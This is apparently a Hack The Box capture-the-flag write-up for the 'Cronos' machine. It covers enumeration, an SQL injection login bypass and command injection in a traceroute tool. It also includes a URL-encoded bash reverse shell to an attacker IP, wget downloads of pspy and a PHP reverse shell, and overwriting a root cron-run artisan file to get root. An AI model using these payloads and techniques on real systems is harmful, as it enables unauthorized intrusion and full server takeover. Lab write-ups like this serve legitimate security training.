

Cronos (HTB)

ip of the machine :- 10.129.227.211

```
sohamt@CyberCreedPC ~/current $ ping 10.129.227.211 -c 5  
PING 10.129.227.211 (10.129.227.211) 56(84) bytes of data.  
64 bytes from 10.129.227.211: icmp_seq=1 ttl=63 time=84.3 ms  
64 bytes from 10.129.227.211: icmp_seq=2 ttl=63 time=83.0 ms  
64 bytes from 10.129.227.211: icmp_seq=3 ttl=63 time=84.8 ms  
64 bytes from 10.129.227.211: icmp_seq=4 ttl=63 time=84.5 ms  
64 bytes from 10.129.227.211: icmp_seq=5 ttl=63 time=87.4 ms  
  
--- 10.129.227.211 ping statistics ---  
5 packets transmitted, 5 received, 0% packet loss, time 4002ms  
rtt min/avg/max/mdev = 83.048/84.803/87.363/1.412 ms
```

machine is on!!!

```
sohamt@CyberCreedPC ~/current $ nmap -p- --min-rate=10000 10.129.227.211
Starting Nmap 7.95 ( https://nmap.org ) at 2024-10-29 12:36 IST
Nmap scan report for cronos.htb (10.129.227.211)
Host is up (0.082s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http

Nmap done: 1 IP address (1 host up) scanned in 6.85 seconds
```

Found some open ports!!!

```
sohamt@CyberCreedPC ~/current $ nmap -p 22,53,80 -sC -A -Pn -T5 10.129.227.211
```

```
Starting Nmap 7.95 ( https://nmap.org ) at 2024-10-29 12:37 IST
```

```
Nmap scan report for cronos.htb (10.129.227.211)
```

```
Host is up (0.085s latency).
```

```
PORT      STATE SERVICE VERSION
```

```
22/tcp open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
```

```
| ssh-hostkey:
```

```
| 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
```

```
| 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
```

```
|_ 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
```

```
53/tcp open  domain   ISC BIND 9.10.3-P4 (Ubuntu Linux)
```

```
| dns-nsid:
```

```
|_ bind.version: 9.10.3-P4-Ubuntu
```

```
80/tcp open  http     Apache httpd 2.4.18 ((Ubuntu))
```

```
|_http-server-header: Apache/2.4.18 (Ubuntu)
```

```
|_http-title: Cronos
```

```
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

```
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
```

```
Nmap done: 1 IP address (1 host up) scanned in 15.28 seconds
```

Let's add domain with ip in /etc/hosts file.

Cronos

[DOCUMENTATION](#)

[LARACASTS](#)

[NEWS](#)

[FORGE](#)

[GITHUB](#)

<https://laravel.com/docs>

Huh!!! Just a normal web page....

```
.htpasswd      [Status: 403, Size: 294, Words: 22, Lines: 12, Duration: 433ms]
.htaccess      [Status: 403, Size: 294, Words: 22, Lines: 12, Duration: 2439ms]
.hta           [Status: 403, Size: 289, Words: 22, Lines: 12, Duration: 4471ms]
               [Status: 200, Size: 2319, Words: 990, Lines: 86, Duration: 4496ms]
css            [Status: 301, Size: 306, Words: 20, Lines: 10, Duration: 82ms]
favicon.ico    [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 83ms]
index.php      [Status: 200, Size: 2319, Words: 990, Lines: 86, Duration: 100ms]
js             [Status: 301, Size: 305, Words: 20, Lines: 10, Duration: 82ms]
robots.txt     [Status: 200, Size: 24, Words: 2, Lines: 3, Duration: 82ms]
server-status  [Status: 403, Size: 298, Words: 22, Lines: 12, Duration: 83ms]
web.config     [Status: 200, Size: 914, Words: 209, Lines: 24, Duration: 82ms]
:: Progress: [4614/4614] :: Job [1/1] :: 485 req/sec :: Duration: [0:00:12] :: Errors: 0 ::
```

Found some directories but didn't find anything in them.

```
[+] User-Agent:      gobuster/3.0
[+] Timeout:         10s
[+] Append-Domain:   true
=====
Starting gobuster in VHOST enumeration mode
=====
Found: admin.cronos.htb Status: 200 [Size: 1547]
Progress: 4989 / 4990 (99.98%)
=====
Finished
=====
```

Wooh!!! Found a sub domain!!!

Login

UserName :

Password :

Submit

Advertisement

Found a custom login page, let's try the most basic stuff SQL injection!!!

Login

UserName :

admin'-- -

Password :

•••••

Submit

Your Login Name or Password is invalid

Advertisement

Added the payload...

← → ↻

🛡️ 🔒

admin.cronos.htb/welcome.php

Net Tool v0.1

traceroute ▾




8.8.8.8

Execute!

[Sign Out](#)

got it!!!

So, I really have no idea what this tool does so captured the request in burp suite and sent it to the repeater to see what can we do.

Request		Response
Pretty	RawHex	
  \n 		
<pre>1 POST /welcome.php HTTP/1.1 2 Host: admin.cronos.htb 3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0 4 Accept: text/html,application/xhtml+xml,application/xml;q=0. 9,image/avif,image/webp,image/png,image/svg+xml,*/*; q=0.8 5 Accept-Language: en-US,en;q=0.5 6 Accept-Encoding: gzip, deflate, br 7 Content-Type: application/x-www-form-urlencoded 8 Content-Length: 31 9 Origin: http://admin.cronos.htb 10 Connection: keep-alive 11 Referer: http://admin.cronos.htb/welcome.php 12 Cookie: PHPSESSID=gmiotn58omgt5rlngr5ujt9vi5 13 Upgrade-Insecure-Requests: 1 14 Priority: u=0, i 15 16 command=tracert 8.8.8.8</pre>		

Let's try for the command injection.

command=traceroute&host=8.8.8.8; id	22	<select name="command">
	23	<option value="traceroute">
		traceroute
		</option>
	24	<option value="ping -c 1">
		ping
		</option>
	25	</select>
	26	<input type="text" name="host" value="
		/>
	27	<input type="submit" value="Execute!"/
	28	</form>
	29	uid=33(www-data) gid=33(www-data)
		groups=33(www-data)
	30	<p>

command injection is possible!!! Let's try to get rce then...

Accept-Encoding: gzip, deflate, br		ping
Content-Type: application/x-www-form-urlencoded	25	</option>
Content-Length: 14	26	</select>
Origin: http://admin.cronos.htb		<input type="text" name="host" value="8.8.8.8"
Connection: keep-alive	27	/>
Referer: http://admin.cronos.htb/welcome.php	28	<input type="submit" value="Execute!"/>
Cookie: PHPSESSID=gmiotn58omqt5rlngr5ujt9vi5	29	</form>
Upgrade-Insecure-Requests: 1	30	total 32
Priority: u=0, i		drwxr-xr-x 2 www-data www-data 4096 May 10 2022
		.
command=ls+-al	31	drwxr-xr-x 5 root root 4096 May 10 2022
		..
< td=""></br><>
	32	-rw-r--r-- 1 www-data www-data 1024 Apr 9 2017
		.welcome.php.swp
	33	-rw-r--r-- 1 www-data www-data 237 Apr 9 2017
		config.php
	34	-rw-r--r-- 1 www-data www-data 2531 Jan 1 2021
		index.php
	35	-rw-r--r-- 1 www-data www-data 102 Apr 9 2017
		logout.php
	36	-rw-r--r-- 1 www-data www-data 383 Apr 9 2017
		session.php
	37	-rw-r--r-- 1 www-data www-data 782 Apr 9 2017
		welcome.php
	38	<p>
		
		Sign Out
		

It also worked this way....

Request

```
Pretty  Raw  Hex  [icon]  ln  [icon]
1 POST /welcome.php HTTP/1.1
2 Host: admin.cronos.htb
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64;
  rv:131.0) Gecko/20100101 Firefox/131.0
4 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.
  9,image/avif,image/webp,image/png,image/svg+xml,*/*;
  q=0.8
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate, br
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 31
9 Origin: http://admin.cronos.htb
10 Connection: keep-alive
11 Referer: http://admin.cronos.htb/welcome.php
12 Cookie: PHPSESSID=gmiotn58omqt5rlngr5ujt9vi5
13 Upgrade-Insecure-Requests: 1
14 Priority: u=0, i
15
16 command=
  bash+-c+'sh+-i+>%26+/dev/tcp/10.10.14.20/9999+0>%261
  '
```

Added the reverse shell payload which is URL encoded...

```
sohamt@CyberCreedPC ~/current $ rlwrap nc -lnvp 9999

Listening on 0.0.0.0 9999
Connection received on 10.129.227.211 38818
sh: 0: can't access tty; job control turned off
$ █
```

Got it!!!

```
www-data@cronos:/var/www/admin$ cd /home
cd /home
www-data@cronos:/home$ ls
ls
noulis
www-data@cronos:/home$ cd noulis
cd noulis
www-data@cronos:/home/noulis$ ls
ls
user.txt
www-data@cronos:/home/noulis$ cat user.txt
cat user.txt
```

Went to home directory and found a user there and got user flag...

```
www-data@cronos:/tmp$ wget http://10.10.14.20:8000/pspy64
wget http://10.10.14.20:8000/pspy64
--2024-10-29 09:27:38-- http://10.10.14.20:8000/pspy64
Connecting to 10.10.14.20:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: 'pspy64'

pspy64                100%[=====>]    2.96M  4.74MB/s   in 0.6s

2024-10-29 09:27:39 (4.74 MB/s) - 'pspy64' saved [3104768/3104768]

www-data@cronos:/tmp$ chmod +x pspy64
chmod +x pspy64
www-data@cronos:/tmp$ ls
ls
pspy64
```

So will be running pspy to see all the background processes and cron jobs to see if we can exploit anything or not, because no SUID, GUID or writable files found as such.

```
2024/10/29 09:29:34 CMD: UID=0      PID=2      |  
2024/10/29 09:29:34 CMD: UID=0      PID=1      | /sbin/init  
2024/10/29 09:30:01 CMD: UID=0      PID=1887   | php /var/www/laravel/artisan schedule:run  
2024/10/29 09:30:01 CMD: UID=0      PID=1886   | /bin/sh -c php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1  
2024/10/29 09:30:01 CMD: UID=0      PID=1885   | /usr/sbin/CRON -f  
2024/10/29 09:30:01 CMD: UID=0      PID=1888   | php /var/www/laravel/artisan schedule:run  
2024/10/29 09:30:01 CMD: UID=0      PID=1890   | grep columns  
2024/10/29 09:30:01 CMD: UID=0      PID=1889   | sh -c stty -a | grep columns  
2024/10/29 09:30:01 CMD: UID=0      PID=1893   | grep columns  
2024/10/29 09:30:01 CMD: UID=0      PID=1892   |  
2024/10/29 09:30:01 CMD: UID=0      PID=1891   | sh -c stty -a | grep columns
```

So saw a php file running in background as a cron job with permissions of root user probably.

```
www-data@cronos:/var/www/admin$ cd /var/www/laravel/
cd /var/www/laravel/
www-data@cronos:/var/www/laravel$ ls
ls
CHANGELOG.md  composer.json  database      readme.md     storage
app           composer.lock  package.json  resources     tests
artisan       composer.phar  phpunit.xml   routes        vendor
bootstrap     config         public        server.php    webpack.mix.js
www-data@cronos:/var/www/laravel$ cat artisan
cat artisan
#!/usr/bin/env php
<?php

/*
|-----
| Register The Auto Loader
|-----
|
| Composer provides a convenient, automatically generated class loader
| for our application. We just need to utilize it! We'll require it
| into the script here so that we do not have to worry about the
| loading of any our classes "manually". Feels great to relax.
|
*/

require __DIR__.'/bootstrap/autoload.php';

$app = require_once __DIR__.'/bootstrap/app.php';

/*
|-----
| Run The Artisan Application
|-----
|
| When we run the console application, the current CLI command will be
| executed in this console and the response sent back to a terminal
| or another output device for the developers. Here goes nothing!
|
*/
```

Saw yeah it's a php file.

```
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.20'; // CHANGE THIS
$port = 8050; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
-- INSERT --
```

Saw downloaded the php rev. shell by pentest monkey and changed ip and port.

```
www-data@cronos:/tmp$ wget http://10.10.14.20:8000/revshell.php
wget http://10.10.14.20:8000/revshell.php
--2024-10-29 09:36:47-- http://10.10.14.20:8000/revshell.php
Connecting to 10.10.14.20:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5494 (5.4K) [application/octet-stream]
Saving to: 'revshell.php'

revshell.php      100%[=====>]   5.37K  --.-KB/s    in 0.001s

2024-10-29 09:36:47 (3.67 MB/s) - 'revshell.php' saved [5494/5494]

www-data@cronos:/tmp$
```

Downloaded the rev. shell on the victim machine.

```
www-data@cronos:/tmp$ mv revshell.php /var/www/laravel/artisan
mv revshell.php /var/www/laravel/artisan
www-data@cronos:/tmp$
```

Sp replaced the cron job file with my php rev. shell file while remaining the name of the file as "artisan" only. Now wait for the cron job to run...

```
sohamt@CyberCreedPC ~/current $ nc -lnvp 8050
Listening on 0.0.0.0 8050
Connection received on 10.129.227.211 42640
Linux cronos 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 09:39:01 up 34 min,  0 users,  load average: 0.00, 0.00, 0.00
USER      TTY      FROM          LOGIN@  IDLE   JCPU   PCPU WHAT
uid=0(root) gid=0(root) groups=0(root)
/bin/sh: 0: can't access tty; job control turned off
#
```

Privileges Escalated!!!


```
sohamt@CyberCreedPC ~/current $ nc -lnvp 8050
```

```
Listening on 0.0.0.0 8050
```

```
Connection received on 10.129.227.211 42640
```

```
Linux cronos 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
```

```
 09:39:01 up 34 min,  0 users,  load average: 0.00, 0.00, 0.00
```

```
USER      TTY      FROM          LOGIN@  IDLE   JCPU   PCPU WHAT
```

```
uid=0(root) gid=0(root) groups=0(root)
```

```
/bin/sh: 0: can't access tty; job control turned off
```

```
# id
```

```
uid=0(root) gid=0(root) groups=0(root)
```

```
# cd /root
```

```
# ls
```

```
fix_dns.sh
```

```
root.txt
```

```
# cat root.txt
```

Got root flag...